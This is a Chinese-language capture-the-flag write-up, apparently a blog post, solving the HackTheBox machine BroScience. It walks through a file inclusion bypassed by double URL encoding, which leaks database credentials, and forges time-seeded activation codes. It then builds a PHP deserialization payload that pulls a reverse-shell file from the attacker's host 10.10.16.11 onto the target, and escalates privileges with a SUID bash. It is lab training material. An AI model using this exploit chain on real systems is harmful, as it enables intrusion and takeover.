HackTheBox BroScience

端口扫描

nmap -sC -sV 10.10.11.195 -o bro

echo "10.10.11.195 broscience.htb" >> /etc/hosts

发现一个登陆页面,但是没有密码;先注册一个用户

当我创建好用户,准备登陆的时候,提示我账号尚未激活。

目录扫描

dirsearch -u https://broscience.htb/ -w /usr/share/wordlists/dirb/big.txt -e php

在includes目录下发现db_connect.php,但是到后面发现没用上。

文件包含

图片的路径是可以包含的,尝试读取一下其他文件,但是报错了

使用双重url编码,成功绕过,读取到了数据库的账号和密码,但是好像暂时用不到啊

db_user = "dbuser";
db_pass = "RangeOfMotion%777";

接下来读取一下登陆页面的源代码。

<?php
session_start();

// 检验用户是否已经登陆
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// 检查代码格式是否正确
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 检查数据库中的代码
    if (!empty($_POST['username']) && !empty($_POST['password'])) {    
        include_once 'includes/db_connect.php';
        
        // 激活账户
        $res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
        $res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
        
        if (pg_num_rows($res) == 1) {
            // Check if account is activated
            $row = pg_fetch_row($res);
            if ((bool)$row[2]) {
                // User is logged in
                $_SESSION['id'] = $row[0];
                $_SESSION['username'] = $row[1];
                $_SESSION['is_admin'] = $row[3];

                // Redirect to home page
                header('Location: /index.php');
            } else {
                $alert = "Account is not activated yet";
            }
        } else {
            $alert = "Username or password is incorrect.";
        }
    } else {
        $alert = "Please fill in both username and password.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Log In</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="login.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Log In</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Log in</button>
                    </div>
                    <div class="uk-margin">
                        <a href="register.php">Create an account</a>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

register.php,分析代码,发现generate_activation_code()函数就是用来生成激活码的

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
    // Check if variables are empty
    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
        // Check if passwords match
        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
            // Check if email is too long
            if (strlen($_POST['email']) <= 100) {
                // Check if email is valid
                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
                    // Check if username is valid
                    if (strlen($_POST['username']) <= 100) {
                        // Check if user exists already    
                        include_once 'includes/db_connect.php';

                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
                        
                        if (pg_num_rows($res) == 0) {
                            // Check if email is registered already
                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));

                            if (pg_num_rows($res) == 0) {
                                // Create the account
                                include_once 'includes/utils.php';
                                $activation_code = generate_activation_code();
                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

                                if (pg_num_rows($res) == 0) {
                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

                                    // TODO: Send the activation link to email
                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

                                    $alert = "Account created. Please check your email for the activation link.";
                                    $alert_type = "success";
                                } else {
                                    $alert = "Failed to generate a valid activation code, please try again.";
                                }
                            } else {
                                $alert = "An account with this email already exists.";
                            }
                        }
                        else {
                            $alert = "Username is already taken.";
                        }
                    } else {
                        $alert = "Maximum username length is 100 characters.";
                    }
                } else {
                    $alert = "Please enter a valid email address.";
                }
            } else {
                $alert = "Maximum email length is 100 characters.";
            }
        } else {
            $alert = "Passwords do not match.";
        }
    } else {
        $alert = "Please fill all fields in.";
    }
}
?>

<html>
    <head>
        <title>BroScience : Register</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <form class="uk-form-stacked" method="POST" action="register.php">
                <fieldset class="uk-fieldset">
                    <legend class="uk-legend">Register</legend>
                    <?php
                    // Display any alerts
                    if (isset($alert)) {
                    ?>
                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                            <a class="uk-alert-close" uk-close></a>
                            <?=$alert?>
                        </div>
                    <?php
                    }
                    ?>
                    <div class="uk-margin">
                        <input name="username" class="uk-input" placeholder="Username">
                    </div>
                    <div class="uk-margin">
                        <input name="email" class="uk-input" type="email" placeholder="Email">
                    </div>
                    <div class="uk-margin">
                        <input name="password" class="uk-input" type="password" placeholder="Password">
                    </div>
                    <div class="uk-margin">
                        <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
                    </div>
                    <div class="uk-margin">
                        <button class="uk-button uk-button-default" type="submit">Register</button>
                    </div>
                </fieldset>
            </form>
        </div>
    </body>
</html>

上面函数是从utils.php中获取激活码的,读取utils.php的代码

这段代码定义了一个名为generate_activation_code的PHP函数,函数的主要功能是生成一个32个字符长度的由数字和字母组成的激活码,并将其作为字符串返回。

函数的具体实现如下:

  1. 定义了一个包含所有可能字符的字符串$chars。

  2. 使用srand和time函数生成一个基于时间的随机数种子。

  3. 循环32次,每次从$chars中随机选择一个字符,并将其添加到$activation_code中。

  4. 返回$activation_code作为函数的输出。

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

重新注册用户,获取时间戳

然后修改utils.php代码中的时间戳,重新生成激活码;然后到如下页面进行激活账号,此时账号已经成功激活

文件上传

成功登陆,此时发现cookie多了一个身份认证

这段代码定义了一个Avatar类和一个AvatarInterface类,用于管理头像图片的保存。
Avatar类有一个成员变量$imgPath,表示头像图片的路径。它还有一个构造函数,用于初始化Avatar对象的$imgPath成员变量。
Avatar类还有一个成员函数save,它接受一个临时文件的路径$tmp作为参数,并将其内容写入到$imgPath中指定的文件中。该函数通过调用file_get_contents函数读取临时文件的内容,并通过fwrite函数将其写入到$imgPath中指定的文件中。
AvatarInterface类有两个成员变量$tmp和$imgPath,分别表示临时文件的路径和头像图片的路径。它还实现了一个魔术方法__wakeup,用于在反序列化时自动调用。__wakeup方法会创建一个Avatar对象$a,并通过调用$a的save方法将临时文件$tmp中的内容保存到$imgPath指定的文件中。

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

构造反序列化payload,http://10.10.16.11/info.php 这个info.php文件是kali自带的反弹shell文件

<?php
class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = new AvatarInterface();
$payload->tmp = 'http://10.10.16.11/info.php';
$payload->imgPath = '/var/www/html/info.php';
$payload = base64_encode(serialize($payload));
echo $payload;

运行php文件,将生成的user-prefs的值添加到网站,此时网站会将本地的info.php上传到目标机上

此时访问info.php,就会获取到反弹shell

权限提升

find / -perm -u=s -type f 2>/dev/null

https://gtfobins.github.io/gtfobins/bash/

bash -p

flag

posted @ 2023-03-07 19:47  Cx330Lm  阅读(46)  评论(0编辑  收藏  举报